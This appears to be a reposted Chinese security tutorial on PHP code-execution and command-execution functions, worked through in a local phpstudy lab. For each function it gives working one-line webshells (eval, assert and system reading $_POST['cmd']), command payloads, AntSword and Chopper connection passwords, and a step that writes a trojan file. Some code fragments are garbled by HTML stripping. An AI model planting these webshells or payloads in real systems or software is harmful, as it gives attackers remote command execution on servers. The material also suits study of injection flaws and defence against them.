PHP常见的命令执行函数与代码执行函数
目录
代码执行函数:
前提准备:火狐插件 Quantum Hackbar (或者hackbar) phpstudy
首先打开phpstudy 在phpstudy 下的www目录中创建一个1.php文件,接下来的实验均在1.php中进行。
注意:php代码中函数前加@意味着他会屏蔽掉出错信息,而不报错,避免通过错误回显来推测数据库结构,对其进行攻击。
1. eval()
命令执行:cmd=system(ipconfig);蚁剑连接密码:cmd 注意:eval要以分号结尾 传入的参数必须为php代码
GET和POST传参的区别
这里用的是POST型传参 POST型传参通过request body 传参 而GET型传参把参数包含在url中
可以使用
标签来使结果规范化 "; echo eval($_POST["cmd"]); echo "
"; ?>
2. assert()
命令执行:cmd=system(whoami) 菜刀连接密码:cmd
3. call_user_func()
传入的参数作为assert函数的参数 命令执行:cmd=system(whoami) 蚁剑连接密码:cmd 这里的 assert 是被调用的回调函数,其余为回调函数的参数。
这里dys=assert; add=phpinfo();
4. create_function()
创建匿名函数执行代码执行命令和上传文件参考eval函数(必须加分号)。
第一个变量表示定义一个函数变量部分 第二个变量表示执行的代码部分
5. array_map()
array_map() 函数将用户自定义函数作用到数组中的每个值上,并返回用户自定义函数作用后的带有新值的数组。回调函数接受的参数数目应该和传递给 array_map() 函数的数组数目一致。
这个函数作用是为数组每个元素应用回调函数。
6. call_user_func_array()
将传入的参数作为数组的第一个值传递给assert函数 cmd=system(phpinfo();)
7. array_filter()
array_filter — 使用回调函数过滤数组的元素
命令执行:cmd=whoami dys=system
8. uasort()函数
uasort () 函数使用用户自定义的比较函数对数组排序,并保持索引关联(不为元素分配新的键)。 如果成功则返回 TRUE,否则返回 FALSE。
9. preg_replace()
preg_replace('正则规则','替换字符','目标字符')执行命令和上传文件参考assert函数(不需要加分号)。将目标字符中符合正则规则的字符替换为替换字符,此时如果正则规则中使用/e修饰符,则存在代码执行漏洞。preg_replace("/test/e",$_POST["cmd"],"jutst test");
命令执行函数:
1. system()
蚁剑连接密码:cmd";system($_POST["cmd"]);?>
在POST命令框输入cmd=ipconfig 即可在页面出现信息
还可以用echo写入一句话木马,来进行连接
cmd=echo "" >> dys.php
2. passthru()
passthru — 执行外部程序并且显示原始输出
蚁剑连接密码:cmd
cmd=ipconfig 即可显示信息
3. exec()
这个函数有点特殊,他只输出最后一行
并且他的输出需要自己打印。(即用echo打印出来)
蚁剑连接密码:cmd"echo exec($_POST['cmd']);echo "
"?>
4. pcntl_exec()
pcntl_exec — 在当前进程空间执行指定程序
pcntl_exec(string $path, array $args = [], array $env_vars = []): bool以给定参数执行程序
path
path
必须时可执行二进制文件路径或一个在文件第一行指定了 一个可执行文件路径标头的脚本(比如文件第一行是 #!/usr/local/bin/perl 的 perl 脚本)。 更多的信息请查看您系统的 execve(2)手册。
args
args
是一个要传递给程序的参数的字符串数组。
env_vars
env_vars
是一个要传递给程序作为环境变量的字符串数组。这个数组是 key => value 格式的,key 代表要传递的环境变量的名称,value 代表该环境变量值。
5. shell_exec()
shell_exec — 通过 shell 执行命令并将完整的输出以字符串的方式返回
蚁剑连接密码:cmd
6. popen()/proc_open()
该函数也可以将字符串当作OS命令来执行,但是该函数返回的是文件指针而非命令执行结果。该函数有两个参数。
>1.txt"; popen("$cmd",'r');?>$cmd将文件查询结果放入1.txt popen将该文件赋予可读权限在linux里,命令为popen("/bin/ls",'r');
7. 反引号 ``
[``]反引号里的东西也会被当成系统命令执行
whoami可以直接执行
";$cmd=$_GET["cmd"];echo `$cmd`;echo "
";?> 来源地址:https://blog.csdn.net/qq_45945842/article/details/131340759
免责声明:
① 本站未注明“稿件来源”的信息均来自网络整理。其文字、图片和音视频稿件的所属权归原作者所有。本站收集整理出于非商业性的教育和科研之目的,并不意味着本站赞同其观点或证实其内容的真实性。仅作为临时的测试数据,供内部测试之用。本站并未授权任何人以任何方式主动获取本站任何信息。
② 本站未注明“稿件来源”的临时测试数据将在测试完成后最终做删除处理。有问题或投稿请发送至: 邮箱/279061341@qq.com QQ/279061341